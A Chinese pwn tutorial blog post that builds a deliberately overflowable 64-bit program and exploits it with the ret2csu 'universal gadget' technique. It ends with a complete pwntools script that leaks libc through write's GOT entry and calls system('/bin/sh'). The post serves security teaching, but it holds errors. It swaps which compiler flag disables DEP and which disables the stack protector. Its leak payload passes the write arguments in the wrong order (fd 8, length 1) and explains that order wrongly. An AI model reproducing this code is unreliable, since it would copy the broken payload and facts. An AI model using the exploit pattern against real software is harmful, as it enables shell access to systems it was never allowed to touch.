PWN入门之通用gadgets

实验目的

针对一些程序运行时的初始化函数(如加载libc.so的初始化函数),提取一些通用的gadgets,从而更利于我们继续ROP操作。

实验文件

这次实验的可执行文件文件通过我们自己编译一个程序产生,为了降低实验的难度,我们在进行编译的时候,关闭栈保护和数据执行保护(DEP)。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

上面level5.c的代码。

gcc -fno-stack-protector -z execstack -o level5 level5.c

我们用上面level5.c进行编译生成可执行文件level5,-fno-stack-protector和-z execstack这两个参数会分别关掉DEP(数据执行保护)和Stack Protector(栈保护)。
在这里插入图片描述

实验步骤

首先对level5进行检测,看看有没有保护机制
在这里插入图片描述
发现堆栈是no canary found ,所以我们可以进行栈溢出。
对我们生成的level用IDA进行静态分析找出栈溢出点
在这里插入图片描述
利用gdb对level5进行动态调试,找出从输入点到ret地址,即我们需要填充的字符数。
在这里插入图片描述
我们需要填充的字符数为(0x80+0x08)(因为我们这次用的是64位不是32位)。
然后,我们使用ROPGadget搜索一下level5中所有pop ret的gadgets

ROPgadget --binary ./level5 --only "pop|ret"

在这里插入图片描述
虽然该实验我们还是利用上个实验中从libc表中查找system和bin/sh,原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc在内存中的地址。但是该执行文件是64位而不是32位,32位可以直接采用上个实验的方法。但是64位就不行?因为64位和32位的传参方式发生了改变 。因为64位下前6个参数不是保存在栈中,而是通过寄存器传值。

在这里我们分析一下32位与64位的不同?
1、32位程序使用栈传参。对于32位程序,逻辑地址是从0~2^32。
2、64位程序传前六个参数使用寄存器,之后所有参数使用栈传。对于64位程序,逻辑地址是从0~2^64。

因为32位与64位程序的不同,相应的ROP方式我们也进行了改变。在原来的32位程序中我们会直接将目标函数的入口地址和相应的参数放在payload中,最后进行rop时,参数是根据与ebp的相对位置来进行确定的。而在64位程序中,我们不仅要将目标函数的入口地址和相应参数放在payload中,同时还要插入一些gadget,将参数放入相应的寄存器中,从而达到传参的目的。

现在开始编写payload脚本

上面的elf.address是elf的基址,是通过IDA分析出来的

在这里插入图片描述
通过对IDA进行静态分析,我们在这里介绍一下通用的gadgets。
在这里插入图片描述
对上面的汇编代码进行分析,先分析6次pop的地方(我们不妨将6次pop的地址记为pop_6)

pop     rbx      //为了减小后面利用难度,将rbx取值为0
pop     rbp      //将rbp取值为1,通过检测,使检验避过。
pop     r12     //这里存放我们最后跳转目标函数地址
pop     r13    //传入第一个参数
pop     r14    //第二个参数
pop     r15  //第三个参数
retn

我们将6次pop中的ret的值设为下面汇编的地址(我们不妨将下面汇编的地址记为mov_3)

mov     rdx, r15
mov     rsi, r14
mov     edi, r13d
call    qword ptr [r12+rbx*8]
add     rbx, 1
cmp     rbp, rbx
jnz     short loc_5555555546F0

我们将r15的值赋值给rdx,,r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。

所以payload为

payload = 'a'*0x88+p64(pop_6)
payload+=p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload+=p64(mov_3)+'a'*(8*7)+p64(main)

write规定传入的第一个参数对应r13,在mov_3处是将r13给edi,所以传入泄露的字节数,只需要泄露8个字节即可。第二个参数对应r14,在mov_3处是将r14给rsi,为要泄露的位置,因为got表中存的是地址而plt表中存的是指令,无法进行call操作,所以第二个参数为write在got表中的地址。第三个参数对应r15,在mov_3处是将r15给rdx,所以第三个参数为1。a*(8*7),还是继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数,最后跳至main函数。

write=u64(p.recv(8).ljust(8,'\x00'))
print hex(write) 
libc=LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

我们通过write在内存上的地址,泄露出libc表的基址,最终泄露出system和bin_sh。

payload='a'*0x88+p64(0x0000000000400623+elf.address)+p64(bin_sh)+p64(system)

因为后面的输入点是以ebp为定位的,这与ret的位置的距离是固定的。然后需要传参,在64位上传参,我们传的第一个参数是rdi,但是在上面我们找到的gadgets是一个偏移量,所以还需要加上一个基址。所以用’a’进行覆盖栈后,将gadgets的值写入到ret位置,这样我们就能跳转至pop rdi;ret;地址处,先进行pop操作,把bin_sh给pop出来,赋给rdi。再进行ret操作,此时ret上的地址为system的地址,所以我们就能进行system(bin_sh)的操作。这样,我们就能getshell。
在这里插入图片描述

最后附上exp.py

#!python
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p = process('./level5')
elf = ELF('./level5')
#p = remote('127.0.0.1',10001)
pop_6 = 0x000000000040061A
mov_3 = 0x0000000000400600
main = 0x0000000000400587
elf.address=0x0000000000400000
payload = 'a'*(0x80+0x08)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload += p64(mov_3) + 'a'*(8*7)+p64(main)
#pwnlib.gdb.attach(p)
p.recvuntil("World\n")
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
print hex(write) 
libc=LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload='a'*0x88+p64(0x0000000000400623+elf.address)+p64(bin_sh)+p64(system)
p.recvuntil('\n')
p.sendline(payload)
p.interactive()
'''0x000000000040061c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040061e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop r14 ; pop r15 ; ret
0x0000000000400622 : pop r15 ; ret
0x000000000040061b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040061f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004d0 : pop rbp ; ret
0x0000000000400623 : pop rdi ; ret
0x0000000000400621 : pop rsi ; pop r15 ; ret
0x000000000040061d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400419 : ret
'''
  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值